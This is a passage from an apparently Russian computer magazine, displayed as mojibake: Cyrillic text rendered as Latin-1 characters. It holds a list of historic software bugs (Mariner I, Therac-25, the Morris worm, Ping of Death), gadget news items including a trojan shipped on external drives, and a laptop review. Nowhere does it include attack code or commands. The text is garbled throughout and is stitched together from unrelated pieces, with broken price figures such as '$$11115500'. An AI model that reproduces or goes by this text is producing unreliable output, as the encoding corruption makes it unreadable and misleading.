íåêîòîðûå ïðîèãðàâøèå áóäóò ñðûâàòü ñâîþ çëîñòü èìåííî íà íåì.





ÅÑËÈ ÒÛ ÄÓÌÀÅØÜ, ×ÒÎ ÑÀÌÛÉ ÑÒÐÀØÍÛÉ ÁÀÃ � ÝÒÎ ÒÂÎß ÂÈÍÄÀ, ÊÎÒÎÐÀß ÇÀÂÈÑËÀ ÂÎ ÂÐÅÌß ÏÐÎÑÌÎÒÐÀ
ÏÎÐÍÓØÊÈ, ÒÎ ÒÛ ÎØÈÁÀÅØÜÑß, ÄÐÓÆÎÊ. ÑËÓ×ÀËÎÑÜ, ×ÒÎ ÈÇ-ÇÀ ÑÁÎÅÂ ÒÅÕÍÈÊÈ ÒÅÐßËÈÑÜ ÌÈËËÈÎÍÛ 
ÄÎËËÀÐÎÂ È ÄÀÆÅ ×ÅËÎÂÅ×ÅÑÊÈÅ ÆÈÇÍÈ. Â ÏÐÎØËÎÌ ÍÎÌÅÐÅ ÏÎÏÓËßÐÍÛÉ ÆÓÐÍÀË WIRED ÎÏÓÁËÈÊÎÂÀË
ÑÏÈÑÎÊ ÑÀÌÛÕ ÑÒÐÀØÍÛÕ ÁÀÃÎÂ Â ÈÑÒÎÐÈÈ. ÄÓÌÀÞ, ÒÅÁÅ ÁÓÄÅÒ ÈÍÒÅÐÅÑÍÎ Ñ ÍÈÌ ÎÇÍÀÊÎÌÈÒÜÑß.

19621982198519881996
28 èþëÿ 1962 ãîäà èç-çà
ïîëîìêè àíòåííû êîñìè-
÷åñêèé àïïàðàò Mariner I,
íàïðàâëÿâøèéñÿ ê Âåíå-
ðå, ïîòåðÿë ñâÿçü ñ Çåì-
ëåé è ïåðåêëþ÷èëñÿ íà
àâòîïèëîò. Íî â ýòîò ìî-
ìåíò íàâèãàöèîííàÿ ñèñ-
òåìà äàëà ñáîé, è àïïàðàò
ïðèøëîñü ñáèòü íàä îêåà-
íîì. Îêàçàëîñü, ÷òî ïðîè-
çîøëî ýòî èç-çà îäíîãî
åäèíñòâåííîãî ïðîïóùåí-
íîãî ñèìâîëà âî âðåìÿ
ïðîãðàììèðîâàíèÿ ñèñòå-
ìû íàâèãàöèè.

Â 1982 ãîäó â îòâåò íà ïî-
ïûòêè Ñîâåòñêîãî Ñîþçà
óêðàñòü àìåðèêàíñêèå òåõ-
íîëîãèè, Ö-Ð-Ó âíåäðèëî
áàã â êàíàäñêóþ ñèñòåìó
êîíòðîëÿ íàä Òðàíññèáèðñ-
êèì òðóáîïðîâîäîì. Ïîñëå
ïðèîáðåòåíèÿ è çàïóñêà
ýòîé ñèñòåìû íà òðóáîï-
ðîâîäå ïðîèçîøåë ñàìûé
áîëüøîé íåÿäåðíûé âçðûâ
â èñòîðèè.

Â 1985�1986 ãîäàõ â ðå-
çóëüòàòå íåïðàâèëüíîãî
ïðîãðàììèðîâàíèÿ íîâûõ
ôóíêöèé ïðèáîðà äëÿ ðàäè-
àöèîííîé òåðàïèè Therac-
25 íåñêîëüêî ÷åëîâåê ïîëó-
÷èëè ñìåðòåëüíóþ äîçó ðà-
äèàöèè, à ìíîæåñòâî �
ñåðüåçíîå îáëó÷åíèå. Êàê
âûÿñíèëîñü, ÏÎ äëÿ ïðèáî-
ðà ïèñàë íåîïûòíûé ïðîã-
ðàììèñò, íå èìåþùèé äàæå
ñïåöèàëüíîãî îáðàçîâàíèÿ.

Â 1988 ãîäó â ðåçóëüòàòå
íåçíà÷èòåëüíîé îøèáêè â
êîäå êîìïüþòåðíûé ÷åðâü
Ðîáåðòà Ìîððèñà çà îäíó
íî÷ü çàðàçèë îêîëî 6000
êîìïüþòåðîâ ARPAnet,
âûâåäÿ èç ñòðîÿ ìíîãèå
èç íèõ è çàìåäëèâ ðàáîòó
ñåòè â öåëîì.

Ñ 1988 ïî 1996 ãîä êàæ-
äûé ìîã ëåãêî ïðîíèêíóòü
â ëþáóþ êîìïüþòåðíóþ
ñèñòåìó, èñïîëüçóþùóþ
äëÿ ãåíåðàöèè ïàðîëåé
ìîäóëü Kerberos. Ñ÷èòà-
ëîñü, ÷òî êëþ÷ âûáèðàåò-
ñÿ èç ìíîãèõ ìèëëèàðäîâ
÷èñåë, íî èç-çà áàãà â êî-
äå äèàïàçîí âûáîðà íàñ-
÷èòûâàë âñåãî ëèøü ìèë-
ëèîí ñèìâîëîâ.

1962199319951996 2000
15 ÿíâàðÿ 1990 ãîäà ïðîèçî-
øåë ñåðüåçíûé ñáîé â ðàáî-
òå êðóïíåéøåé àìåðèêàíñ-
êîé òåëåôîííîé ñåòè AT&T,
â ðåçóëüòàòå êîòîðîãî âñÿ
ñòðàíà îñòàëàñü áåç ìåæäó-
ãîðîäíåé ñâÿçè íà 9 ÷àñîâ.
Èç-çà îøèáêè â íîâîé âåð-
ñèè ïðîøèâêè êîììóòàòî-
ðîâ îíè ïåðåçàãðóæàëèñü,
ïîëó÷èâ îïðåäåëåííûé ñèã-
íàë ñ ñîñåäíåãî êîììóòàòî-
ðà. À âîçíèêàë ýòîò ñèãíàë
êàê ðàç â ìîìåíò ïåðåçàã-
ðóçêè. Äëÿ îáðàçîâàíèÿ
öåïíîé ðåàêöèè áûëî äîñ-
òàòî÷íî îäíîãî ðåáóòà ëþ-
áîãî èç êîììóòàòîðîâ.

Â 1993 ãîäó íåçíà÷èòåëüíàÿ
ïîãðåøíîñòü, îáíàðóæåííàÿ
â ïðîöåññîðàõ Intel Pentium
ïðè äåëåíèè ñ ïëàâàþùåé
çàïÿòîé (ñîñòàâëÿëà îíà íå
áîëåå 0.006%), îáîøëàñü
êîìïàíèè â 475 ìèëëèîíîâ
äîëëàðîâ è ñåðüåçíî ïîäïîð-
òèëà åå àâòîðèòåò.

1995�1996 ãîäà � çâåçä-
íîå âðåìÿ «Ïèíãà ñìåð-
òè». Â ýòî âðåìÿ ïîñûëêà
ñïåöèàëüíî ñêîíñòðóèðî-
âàííîãî ïàêåòà íà ëþáîé
êîìïüþòåð âûâîäèëà åãî
èç ñòðîÿ. À âñå èç-çà òîãî,
÷òî ïðè ðàçðàáîòêå ñåòå-
âûõ òåõíîëîãèé ïðîãðàì-
ìåðû çàáûëè âñòàâèòü
ïðîâåðêó íà îøèáêè ïðè
îáðàáîòêå IP-ïàêåòîâ.

4 èþíÿ 1996 ãîäà, ÷åðåç 40
ñåêóíä ïîñëå ñòàðòà, ïðîè-
çîøåë âçðûâ ðàêåòîíîñè-
òåëÿ Ariane 5, êîòîðûé ðàç-
ðàáàòûâàëñÿ íåñêîëüêî ëåò
è îöåíèâàëñÿ â áîëåå 500
ìèëëèîíîâ äîëëàðîâ.
Ïðîñòî èíæåíåðû ñíÿëè çà-
ùèòó îò îøèáîê ïåðåïîëíå-
íèÿ áóôåðà, óâåðåííûå,
÷òî ïåðåïîëíåíèÿ áûòü íå
ìîæåò. Íî ñèñòåìà íàâèãà-
öèè ïîäàëà íåäîïóñòèìî
áîëüøîå çíà÷åíèå ïàðà-
ìåòðà ãîðèçîíòàëüíîé ñêî-
ðîñòè, è ýòî âûçâàëî öåï-
íóþ ðåàêöèþ, êîòîðàÿ ñíà-
÷àëà îñòàíîâèëà ðàáîòó
ïðîöåññîðîâ, à ïîòîì äåòî-
íèðîâàëà âçðûâ.

Â íîÿáðå 2000 ãîäà ïðîè-
çîøëî íåñêîëüêî ñìåðòåëü-
íûõ ñëó÷àåâ îáëó÷åíèÿ â ïà-
íàìñêîì íàöèîíàëüíîì èíñ-
òèòóòå ðàêà. Âðà÷è, ðàáîòà-
þùèå â èíñòèòóòå, ðåøèëè
íå îãðàíè÷èâàòüñÿ âîçìîæ-
íîñòÿìè àìåðèêàíñêîé ïðîã-
ðàììû ïëàíèðîâàíèÿ ðàäè-
àöèîííîé òåðàïèè è âíåñëè
â íåå «êîððåêòèðîâêè». Ïîñ-
ëåäñòâèÿ áûëè ïëà÷åâíûìè:
ïàöèåíòû ïîëó÷èëè äâîé-
íóþ äîçó îáëó÷åíèÿ è ïîãèá-
ëè. Ýêñïåðèìåíòàòîðîâ îñó-
äèëè çà óáèéñòâî.
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ÌÛØÜ ÍÅ
ÄÎËÆÍÀ
ÁÛÒÜ ÑÅÐÎÉ!
Äëÿ áîëüøèíñòâà ýñòåòîâ êîìïüþòåð óæå äàâíî
ïåðåñòàë áûòü ëèøü ðàáî÷èì èíñòðóìåíòîì, à ñ
øèðîêèì ðàñïðîñòðàíåíèåì íîóòîâ è âîâñå ñòàë
íåîòúåìëåìîé äåòàëüþ èìèäæà íàðàâíå ñ ñîòî-

âûìè, ÊÏÊ è ïðî÷èìè hi-tech ïðèìî÷êàìè. Òàê ÷òî
ñîâñåì íåóäèâèòåëüíî, ÷òî äàííûå ëè÷íîñòè äà-
æå ìûøêó âûáèðàþò, ðóêîâîäñòâóÿñü íå ðàáî÷è-
ìè õàðàêòåðèñòèêàìè è ýðãîíîìè÷íîñòüþ, à èñê-
ëþ÷èòåëüíî ïî âíåøíåìó âèäó. Òåïåðü æå íà èõ
óëèöå íàñòóïèë íàñòîÿùèé ïðàçäíèê: ãåðìàíñ-
êàÿ êîìïàíèÿ Pat Says Now âûïóñòèëà öåëóþ
êîëëåêöèþ èìèäæåâûõ ãðûçóíîâ. Íà âûáîð
ïðåäëàãàþòñÿ ìîäåëè ñîâåðøåííî ðàçíûõ
ôîðì (â âèäå ÷èëèéñêîãî ïåðöà, ìîçãà, ãîëîâû
ñîáàêè, ñåðäöà è ò.ä.) è ðàñêðàñîê (ïîä êîðîâó,

ïîä íàöèîíàëüíûé ôëàã è ò.ï.). Â àññîðòèìåíòå
êîìïàíèè ìîæíî íàéòè äàæå ãëàìóðíûå ïîëóý-
êñêëþçèâíûå ýêñïîíàòû, íàïðèìåð, ìûøü, èíê-
ðóñòèðîâàííàÿ òðèäöàòüþ òðåìÿ áðèëëèàíòàìè
(âûïóùåíî âñåãî 999 êîïèé). Âïðî÷åì, âñòðå÷à-
þòñÿ è ìàíèïóëÿòîðû êëàññè÷åñêîé ôîðìû,
âûäåëÿþùèåñÿ ëèøü ðèñóíêîì, êîòîðûå âïîë-
íå ïðèãîäíû äëÿ åæåäíåâíîãî èñïîëüçîâàíèÿ.
Â îáùåì, ñðåäè òàêîãî ðàçíîîáðàçèÿ, íàâåð-
íîå, ëþáîé ñìîæåò íàéòè ãðûçóíà, òî÷íî ïîä-
÷åðêèâàþùåãî èíäèâèäóàëüíîñòü õîçÿèíà.

HITECHNEWS 

ÊÍÈÆÍÛÉ ÑÊÀÍÅÐ
Ïîñëå òîãî êàê â ìîäó ñòàëè âõîäèòü ðàçëè÷íûå ýëåêòðîííûå ïîðòàòèâ-
íûå óñòðîéñòâà (íîóòáóêè, íàëàäîííèêè, ñîòîâûå), ïîïóëÿðíîñòü áóìàæ-
íûõ êíèã ïîñòåïåííî ñòàëà ñóùåñòâåííî ïàäàòü. Âåäü ãîðàçäî óäîáíåå
óìåñòèòü íåñêîëüêî êíèã â íåáîëüøîì äåâàéñå, ÷åì òàñêàòü 
â ðþêçàêå öåëóþ áèáëèîòåêó. Åñòü òîëüêî îäíà ïðîáëåìà: äàëåêî íå âñå
êíèãè ïîêà ñóùåñòâóþò â ýëåêòðîííîì âàðèàíòå, à îöèôðîâûâàòü ñòàíäà-
ðòíûì ïëàíøåòíûì ñêàíåðîì òàëìóä ôîðì-ôàêòîðà «Âîéíû 
è ìèðà» � ïðîùå ñðàçó çàñòðåëèòüñÿ. Êàê ðàç ñïåöèàëüíî, ÷òîáû èçáå-
æàòü ïîäîáíûõ ìàññîâûõ ñàìîóáèéñòâ, êîìïàíèÿ Kirtas Technologies ðàç-
ðàáîòàëà îäèí èç ïåðâûõ â ìèðå ñêàíåðîâ, ñïîñîáíûõ ñàìîñòîÿòåëüíî ïå-
ðåëèñòûâàòü ñòðàíèöû êíèã. Êîíå÷íî, äåâàéñ ïî ñâîèì ðàçìåðàì ñðàâíèì

ñ íåáîëüøèì øêàôîì, à öåíà
åãî íàâåðíÿêà óìàë÷èâàåòñÿ
èñêëþ÷èòåëüíî ïî ýòè÷åñêèì
ñîîáðàæåíèÿì, ïîýòîìó ïîêó-
ïàòåëÿìè, ñêîðåå âñåãî, âûñ-
òóïÿò ëèøü áîãàòûå çàðóáåæ-
íûå áèáëèîòåêè. Ïðàâäà, åñëè
òåõ óäîâëåòâîðèò, íàñêîëüêî
áåðåæíî óñòðîéñòâî îáðàùà-
åòñÿ ñ âåòõèìè èçäàíèÿìè, è
êàê ìíîãî ïðîïóñêàåò ñëèï-
øèõñÿ ñòðàíèö. Êñòàòè, åñëè
èíòåðåñíî, êàê ýòà àäñêàÿ ìà-
øèíà ôóíêöèîíèðóåò, òî íà
îôèöèàëüíîì ñàéòå ôèðìû
(kirtas-tech.com) ìîæíî âçãëÿ-
íóòü íà äåìîíñòðàöèîííûå âè-
äåîðîëèêè.[X
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ÎÁËÀÆÀËÈÑÜ
Âûïóñêàÿ íîâóþ ñåðèþ âíåø-
íèõ æåñòêèõ äèñêîâ HDP-U, îñ-
íàùåííûõ àíòèøîêîì, óâàæà-
åìàÿ ôèðìà IO Data Device
Corporation áîëåå ÷åì õàëàòíî
îòíåñëàñü ê òåñòèðîâàíèþ, è â
ðåçóëüòàòå îêàçàëîñü, ÷òî ñó-
ùåñòâåííàÿ ïàðòèÿ íàêîïèòå-
ëåé ïîñòóïèëà íà ïðèëàâêè
ñðàçó â êîìïëåêòå ñ ëþáåçíî
ïðåäóñòàíîâëåííûì òðîÿíîì
(W32/Tompai-A). Îäíàêî îãîð-
÷àåò íå ñòîëüêî íàëè÷èå òðîÿ-

íà (ñ êåì íå áûâàåò), ñêîëüêî äàëüíåéøåå ïîâåäåíèå êîìïàíèè. Âìåñòî
òîãî ÷òîáû ïðèíÿòü îïåðàòèâíûå ìåðû, ïîñëå òîãî êàê ïðîçíàëè îá èí-
öèäåíòå, îíè íåêîòîðîå âðåìÿ âîîáùå óäåðæèâàëè â òàéíå ñåðèéíûå íî-
ìåðà èíôèöèðîâàííûõ âèí÷åñòåðîâ. À çàòåì, îãëàñèâ íîìåðà ïàðòèé,
ïðîñòî îãðàíè÷èëèñü ôîðìàëüíûìè èçâèíåíèÿìè, íå ïðåäëîæèâ ïîêóïà-
òåëÿì äàæå íèêàêîãî ôèêñà äëÿ óäàëåíèÿ òðîÿíà. Â ðåçóëüòàòå êîìïà-
íèÿ çàìåòíî óïàëà â ãëàçàõ ñâîèõ ïîêëîííèêîâ è ïîòåíöèàëüíûõ ïîêóïà-
òåëåé, äà è ïîëó÷èëà íåñêîëüêî ïèíêîâ îò êîìïüþòåðíûõ èçäàíèé. Êàê
èçâåñòíî, ôîðìóëó «ïîêóïàòåëü âñåãäà ïðàâ» ïîêà íèêòî íå îòìåíÿë, è
ñïîðèòü ñ ýòèì êàê-òî íåñóðàçíî.

ÍÎÂÀß IDEA 
ÎÒ KRAFTWAY
Êîìïàíèÿ Kraftway îáúÿâëÿåò î íà÷àëå ñåðèéíîãî ïðîèçâîäñòâà íîâûõ,
ìíîãîôóíêöèîíàëüíûõ ìîäåëåé äîìàøíèõ ïåðñîíàëüíûõ êîìïüþòåðîâ
Kraftway Idea MC ñ ïðåäóñòàíîâëåííîé ðóñèôèöèðîâàííîé îïåðàöèîííîé
ñèñòåìîé Microsoft® Windows® XP Media Center Edition 2005. Êàê çàêîí-
÷åííîå ðåøåíèå, Kraftway Idea MC ñòðîèòñÿ íà áàçå ìîùíûõ ïðîöåññîðîâ
Intel® Pentium® 4, èìååò íå ìåíåå 512 ÌÁ îïåðàòèâíîé ïàìÿòè è æåñòêèé
äèñê îò 160 ÃÁ, îñíàùàåòñÿ ïèøóùèì DVD-ïðèâîäîì è êàðäðèäåðîì ñ
ïîääåðæêîé íîñèòåëåé 7 ïîïóëÿðíûõ ôîðìàòîâ, ñîâðåìåííîé âèäåîêàð-
òîé NVIDIA, ÒÂ-òþíåðîì, ïîääåðæèâàþùèì ðîññèéñêóþ ñèñòåìó òåëåâå-
ùàíèÿ, ïóëüòîì ÄÓ, áåñïðîâîäíîé êëàâèàòóðîé è ìûøüþ. Â êà÷åñòâå
ñðåäñòâà îòîáðàæåíèÿ ïîëüçîâàòåëü ìîæåò èñïîëüçîâàòü êàê ìîíèòîð
èëè òåëåâèçîð, òàê è îáà óñòðîéñòâà ñðàçó. Ðåêîìåíäîâàííàÿ ðîçíè÷íàÿ
öåíà íà òàêóþ ñèñòåìó  â ñòàíäàðòíîé êîìïëåêòàöèè ñîñòàâëÿåò $1050.

HITECHNEWS HARDNEWS 

ÌÅÃÀÇÀÌÎÊ
Âñòðå÷àéòå � Keylock 6600 �
ñàìûé èíòåëëåêòóàëüíûé â ìè-
ðå äâåðíîé çàìîê, êîòîðûé
ñïîñîáåí îõðàíÿòü ââåðåííîå
åìó ïîìåùåíèå ñðàçó íåñêîëü-
êèìè ñïîñîáàìè. Åñòåñòâåííî,
ó Keylock 6600 îñòàëîñü íåñ-
êîëüêî ñõîäñòâ ñ îáû÷íûì çàì-
êîì, òàê, åãî ìîæíî îòêðûòü
ñòàíäàðòíûì êëþ÷îì èëè âîñ-
ïîëüçîâàòüñÿ áåñïðîâîäíûì
áðåëêîì, íî ýòî âñå óæå íåàê-
òóàëüíî. Íà ñàìîì äåëå ïåðåä-
íþþ ïàíåëü çàìêà ìîæíî
ñäâèíóòü ââåðõ, à ïîä íåé êðî-
þòñÿ êàê ðàç ñàìûå èíòåðåñ-
íûå ôèøêè: ñêàíåð îòïå÷àòêîâ
ïàëüöåâ è öèôðîâàÿ êëàâèàòó-
ðà (äëÿ ââîäà îòêðûâàþùåãî
PIN-êîäà). Ñêàíåð ñïîñîáåí çà-
ïîìíèòü îòïå÷àòêè ñåìíàäöàòè
ëþäåé, êîòîðûì ðàçðåøåí äîñ-
òóï, à êîëè÷åñòâî ëîæíûõ ñðà-
áàòûâàíèé, êàê îáåùàþò, íå
ïðåâûøàåò îäíîé äåñÿòèòû-
ñÿ÷íîé ïðîöåíòà. Ýëåêòðîííûå
êîìïîíåíòû çàìêà ðàáîòàþò îò
áàòàðååê, è ïðè íåîáõîäèìîñòè
èõ ñîâñåì íå ñëîæíî çàìåíèòü.
Åäèíñòâåííîå íå óòî÷íÿåòñÿ:
÷òîáû ïîïàñòü âíóòðü ïîòðåáó-
åòñÿ ïðîéòè ñðàçó âñå ïðîöåäó-

ðû èäåíòèôèêàöèè èëè òîëüêî îäíó? Âíåøíå óñòðîéñòâî âûãëÿäèò âåñü-
ìà ñòèëüíî, ïîæàëóé, äàæå ÷åðåñ÷óð, ÷òî âûçûâàåò íåêîòîðûå ñîìíåíèÿ
â åãî ïðî÷íîñòè, îäíàêî ðàçðàáîò÷èêè óâåðÿþò, ÷òî âñå èçãîòîâëåíî èç
âûñîêîïðî÷íîé ñòàëè, è çàìîê ïîëó÷èë âñå îáÿçàòåëüíûå ñåðòèôèêàòû,
ïîäòâåðæäàþùèå íàäåæíîñòü.

HI-TECH GOLF
Ãîëüô � âåñüìà ïðèÿòíàÿ èãðà, äàæå
ïðåòåíäóþùàÿ íà çâàíèå èíòåëëåêòó-
àëüíîé. Âîò òîëüêî íå òàê ïðîñòî â íåå
íàó÷èòñÿ ïðàâèëüíî èãðàòü. Îñîáåííî
ó íîâè÷êîâ øàðèê îáû÷íî ëåòèò â ëþ-
áîì íàïðàâëåíèè, êðîìå òîãî, êîòîðîå
çàìûøëÿëîñü èçíà÷àëüíî. À, êàê òû
çíàåøü, äàëåêî íå âñå ïîëå òàêîå ðîâ-
íîå ñ òðàâêîé ïîä 3 ìì. Ïî êðàÿì è
òðàâà âûñîêàÿ áûâàåò, è êóñòû, è äå-
ðåâüÿ, è âîäîåìû è ïðî÷èå ïðåïÿòñ
òâèÿ. È íàéòè ñðåäè ýòîãî ïåéçàæà
çàïðîïàñòèâøèéñÿ ìÿ÷èê
íåâîçìîæíî. Èçáàâèòü íà÷èíàþùèõ
ëþáèòåëåé ãîëüôà îò ïîäîáíûõ ìóê
ðåøèëàñü êîìïàíèÿ RadarGolf, âûïóñ-
òèâ íàáîð Ball Positioning System. Â

êîìïëåêòå èäåò ìåøî÷åê ñïåöèàëüíûõ øàðèêîâ è ðàäàðíîå óñòðîéñòâî.
Â êàæäûé øàðèê âñòðîåí ìèêðîñêîïè÷åñêèé ÷èï, êîòîðûé âèäèì ðàäà-
ðîì íà ðàññòîÿíèè äî 100 ôóòîâ. Íà äèñïëåå ðàäàðà ïîñòîÿííî îòîáðà-
æàåòñÿ óðîâåíü ñèãíàëà, ñîîòâåòñòâåííî, ÷åì îí âûøå, òåì áëèæå ê òå-
áå íàõîäèòñÿ ìÿ÷èê. Åñëè òû õîòü ïðèáëèçèòåëüíî çàìåòèë ïåðâîíà-
÷àëüíîå íàïðàâëåíèå ïîëåòà øàðèêà, òî íàéòè åãî íå ñîñòàâèò ïðàêòè-
÷åñêè íèêàêîãî òðóäà. Êñòàòè, ìåøî÷åê, â êîòîðîì õðàíÿòñÿ ìÿ÷èêè, òî-
æå íå ïðîñòîé: îí íå ïðîïóñêàåò ñèãíàëû ðàäàðà, ÷òîáû òîò ñðàáàòûâàë
òîëüêî íà ïîòåðÿííûé ìÿ÷èê. Çàìåòèì, øàðèêè èç êîìïëåêòà áûëè ñåð-
òèôèöèðîâàíû ìåæäóíàðîäíîé ôåäåðàöèåé ãîëüôà (USGA), òàê ÷òî ñ
íèìè ìîæíî ó÷àñòâîâàòü äàæå íà îôèöèàëüíûõ ñîðåâíîâàíèÿõ.
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ACER TRAVELMATE 2350XC
BENQ JOYBOOK 7000G10
LG LW60
MSI MEGABOOK M425
MSI MEGABOOK S260
ROVERBOOK EXPLORER W500WH
ROVER VOYAGER E410 WH(B)

RoverBook
Explorer
W500WH 
Òåõíè÷åñêèå õàðàêòåðèñòèêè:
Ïðîöåññîð, ÃÃö: 1,6, AMD Turion 64 MT-30
Ïàìÿòü, Ìá: 1024
Ðàçìåð ýêðàíà, äì: 15
Âèäåîïëàòà, Ìá: 128, ATI Radeon Xpress 200M
Æåñòêèé äèñê, Ãá: 100
Îïòè÷åñêèé ïðèâîä: DVD+/-RW DL
Ñðåäñòâà ñâÿçè: ìîäåì, LAN, IR
Èíòåðôåéñû: VGA, USB, S-Video, RJ-11, RJ-45
Ãàáàðèòû, ìì: 355x273x40
Âåñ, êã: 2,9

$$11115500

Ýòîò íîóò îòëè÷àåòñÿ îò îñòàëüíûõ ñâîåé îñíîâîé �
ýòî ìîáèëüíàÿ ñèñòåìà AMD Turion. Îíà âêëþ÷àåò â
ñåáÿ 64-áèòíûé ïðîöåññîð ñ òàêòîâîé ÷àñòîòîé 1,6
ÃÃö, êîòîðûé èìååò ìíîãî èíòåðåñíûõ ôóíêöèé. Ýòî
EVP (àíòèâèðóñíàÿ çàùèòà íà óðîâíå ÖÏ), 3DNow!
Pro (ïîääåðæêà äîïîëíèòåëüíûõ ìóëüòèìåäèéíûõ
èíñòðóêöèé) è PowerNow (ýêîíîìíàÿ ðàáîòà ñ ïèòà-
íèåì). Êðîìå òîãî, â íåãî âñòðîåí êîíòðîëëåð ïàìÿ-
òè. Îñòàëüíûå êîìïîíåíòû òîæå õîðîøè � óíèâåð-
ñàëüíûé îïòè÷åñêèé ïðèâîä, êàðäðèäåð, îáúåìíûé
æåñòêèé äèñê. ×òî ïðèÿòíî, èìååòñÿ ÒÂ-òþíåð 
ñ ïóëüòîì ÄÓ, à ìóçûêàëüíûå è âèäåîäèñêè ìîãóò
÷èòàòüñÿ áåç çàãðóçêè ÎÑ. Èç ãèãàáàéòà ÎÇÓ 128
Ìá âûäåëÿåòñÿ íà íóæäû âñòðîåííîãî â ñèñòåìíóþ
ïëàòó ATI Radeon 200M ãðàôè÷åñêîãî àäàïòåðà.
Ýòî àíàëîã óñòðîéñòâà Radeon 9600 ïîêàçàë äàëå-
êî íå ëó÷øóþ ñêîðîñòü ðàáîòû. Â äàííîì ìîáèëü-
íîì ÏÊ îòñóòñòâóþò áåñïðîâîäíûå ñðåäñòâà ñâÿçè,
à òàêæå  ïîðò PCMCIA. Âñå ïîðòû USB ðàñïîëîæå-
íû ðÿäîì, òàê ÷òî óñòðîéñòâî, âñòàâëåííîå â îäèí
èç íèõ, âïîëíå ìîæåò çàáëîêèðîâàòü îñòàëüíûå.
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Ðûíîê ïðîñòî íàâîäíèëè íîóòáóêè êëàññà DTR � çà-
ìåíà äîìàøíåìó ÏÊ. Îò ìîáèëüíûõ êîìïüþòåðîâ â
êëàññè÷åñêîé èíòåðïðåòàöèè â íèõ îñòàëîñü òîëüêî
ôîðìà è âîçìîæíîñòü àâòîíîìíîé ðàáîòû (íå î÷åíü
äîëãîé, òàê êàê îíè íà íåå ïðîñòî íå ðàññ÷èòàíû). Â
îñòàëüíîì æå ýòè ãðîìîçäêèå è íåïîäúåìíûå
ìîíñòðû ÿâëÿþòñÿ îòðèöàíèåì èäåîëîãèè  ìîáèëü-
íîãî êîìïüþòåðà, òàê êàê åãî ìîæíî âçÿòü ñ ñîáîé è
ðàáîòàòü ñ íèì â äîðîãå. Ñåãîäíÿ ìû ðàññêàæåì òå-
áå î òîì, êàê ïðîøëî òåñòèðîâàíèå íàñòîÿùèõ note-

books � íåáîëüøèõ ÏÊ, êîòîðûå âñåãäà ñ òîáîé: íà
ðàáîòå, â äîðîãå è äîìà. Èõ âîçìîæíîñòè � ïî ñðàâ-
íåíèþ c ìîíñòðóîçíûìè DTR-ìàøèíàìè � âûãëÿäÿò
áîëåå ñêðîìíî, íî ýòî óæå äàëåêî íå notebook! Ýòî
êîìïàêòíûå óñòðîéñòâà ñ äîâîëüíî áîëüøèìè ýêðà-
íàìè, âåñ è ãàáàðèòû êîòîðûõ ïîçâîëÿþò áåç ïðîá-
ëåì íîñèòü èõ ñ ñîáîé. Ìîùíîñòè èõ êîìïîíåíòîâ
âïîëíå õâàòèò äëÿ ìóëüòèìåäèéíûõ ðàçâëå÷åíèé è
íå ñàìûõ «òÿæåëûõ» èãð, à êîììóíèêàöèîííûå âîç-
ìîæíîñòè ïðèãîäÿòñÿ êàê â ðàáîòå, òàê è â îáùåíèè.

Â íîóòáóêè ìîãóò áûòü óñòàíîâëåíû äâà òèïà êîìïëåêòóþùèõ: ñïåöèàëèçèðîâàííûå ìîáèëüíûå è  îáû÷íûå
íàñòîëüíûå óñòðîéñòâà. Ïåðâûå âûäåëÿþò ìåíüøå òåïëà, ïîòðåáëÿþò ìåíüøå ýëåêòðîýíåðãèè, ìîãóò î÷åíü
ýêîíîìè÷íî ðàáîòàòü ñ àêêóìóëÿòîðîì (ñáðàñûâàÿ ñêîðîñòü. Òî åñòü îíè ñîçäàíû ñïåöèàëüíî äëÿ ìîáèëüíûõ
óñëîâèé ðàáîòû. Èõ ìèíóñ � áîëåå ìåäëåííàÿ,  ïî ñðàâíåíèþ ñ íàñòîëüíûìè ìîäåëÿìè, ñêîðîñòü ðàáîòû. Íî
òå êîìïëåêòóþùèå, êîòîðûå êîíñòðóèðîâàëèñü äëÿ ðàáîòû â îáû÷íûõ ÏÊ, õîòü è áûñòðåå, íî èìåþò áîëüøèå
ðàçìåðû (ñëåäîâàòåëüíî, íîóòáóê áóäåò èìåòü áîëüøèå ãàáàðèòû), ïîòðåáëÿþò áîëüøå ýíåðãèè è ñèëüíåå ãðå-
þòñÿ, ñëåäîâàòåëüíî, ìàëî ïðèñïîñîáëåíû äëÿ òåõ óñëîâèé ðàáîòû, â êîòîðûõ ñóùåñòâóþò íàøè óñòðîéñòâà.
Äà òàêèõ ó íàñ ñåãîäíÿ ïðàêòè÷åñêè è íåò (ýòî òåáå ïðîñòî äëÿ èíôîðìàöèè).
Ñåãîäíÿ âñå èçìåíÿåòñÿ î÷åíü áûñòðî, òàê ÷òî íóæíî áûòü â êóðñå ïîñëåäíèõ íîâîñòåé. Äëÿ òàêîé öåëè (äà è äëÿ
ìíîãèõ äðóãèõ) ïðèãîäèòñÿ Èíòåðíåò, â êîòîðûé ìîæíî âûéòè ñ ïîìîùüþ êîììóíèêàöèîííûõ ñðåäñòâ. Äæåíòëü-
ìåíñêèé íàáîð íà äàííûé ìîìåíò � ýòî ìîäåì, ñåòåâàÿ ïëàòà è àäàïòåð Wi-Fi. Åñëè ïîñëåäíèé íàëè÷åñòâóåò, òî,
ñêîðåå âñåãî, òâîé íîóòáóê ïîñòðîåí ïî òåõíîëîãèè Intel Centrino ïåðâîãî èëè âòîðîãî ïîêîëåíèÿ. Íàêëåéêà íà íî-
óòáóêå, ãäå ôèãóðèðóåò òàêîå íàçâàíèå, ãàðàíòèðóåò, ÷òî òàì óñòàíîâëåíà ìîáèëüíàÿ âåðñèÿ ïðîöåññîðà Pentium,
àäàïòåð Wi-Fi, âòîðàÿ âåðñèÿ ïðèáàâëÿåò ê ýòîìó âîñüìèêàíàëüíûé çâóêîâîé àäàïòåð. Ê äæåíòëüìåíñêîìó íàáî-
ðó ñâÿçè (ìîäåì, LAN, Wi-Fi) ìîæåò äîáàâëÿòüñÿ ÈÊ-ïîðò è àäàïòåð BlueTooth. Íóæíû ëè îíè òåáå, òû ðåøèøü
ñàì, åñòåñòâåííî, èõ ìîæíî ïðèîáðåñòè è â âèäå îòäåëüíûõ óñòðîéñòâ. Çâóêîâîé àäàïòåð ìû çàòðàãèâàëè âûøå
(åñëè ýòî íå Centrino âòîðîãî ïîêîëåíèÿ, òî, ñêîðåå âñåãî, óñòàíîâëåí øåñòèêàíàëüíûé êîäåê). Äèíàìèêè â ñèñ-
òåìàõ ñòîÿò íå î÷åíü âûñîêîãî óðîâíÿ. Äà, ìîæíî ïîèãðàòü, íî íå æäè îò íèõ íè÷åãî îñîáåííîãî. Åñëè òû îáëà-
